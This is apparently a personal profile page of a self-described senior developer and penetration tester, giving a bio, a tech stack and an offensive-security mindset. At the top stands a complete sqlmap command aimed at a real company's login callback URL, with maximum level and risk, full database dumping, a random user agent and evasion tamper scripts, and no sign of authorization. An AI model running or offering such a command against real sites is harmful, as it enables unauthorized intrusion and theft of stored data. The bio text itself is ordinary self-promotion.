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python3 sqlmap.py

Iman Niaz 09:01
python3 sqlmap.py

python3 sqlmap.py






python3 sqlmap.py “wise.com/login/social-callback&response_type=code&scope=profile” — level=5 — risk=3 — banner — dump-all — dbs — random-agent — dbms=Oracle — tamper=”between,randomcase,space2comment” -v 3

Iman Niaz

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👤 About Me

I’m Imran Niaz, a Senior Developer and Professional Penetration Tester with a strong focus on security research, bug hunting, and real-world exploitation.

I build and break applications for a living.

On the development side, I work extensively with Laravel (v11), PHP 8.2, MySQL, JavaScript, Chrome Extensions (Manifest v3), and Android (Kotlin). I design dashboards, APIs, automation tools, and security-aware systems with clean architecture and performance in mind.

On the offensive security side, I analyze applications like a professional bug bounty hunter — identifying vulnerabilities, exposed routes, misconfigurations, insecure APIs, leaked keys, and weak access controls. I prefer practical exploitation over theory, and I automate reconnaissance and testing wherever possible.

I usually operate on Linux or WSL, chaining tools and custom scripts to get fast, accurate results. When I test something, I want exact commands, full URLs, real attack paths, and reproducible proof — not generic advice.

I also build security testing tools, monitoring systems, attendance and activity trackers, and data-collection pipelines that store results directly into databases for analysis.

If it involves:

  • finding bugs 🔍
  • writing tools ⚙️
  • exploiting logic flaws 💥
  • or building secure systems 🔐

I’m in.

🔧 Tech Stack

  • Backend: Laravel, PHP, MySQL
  • Frontend: Blade, Tailwind CSS, JavaScript
  • Security: Web App Pentesting, Bug Bounty, Recon Automation
  • Tools: WSL or Linux, Custom Scripts, Chrome Extensions
  • Mobile: Android (Kotlin, WebView)
  • Focus: Real-world exploitation, automation, security-first development

🎯 Mindset

Build it like a developer. Break it like an attacker.

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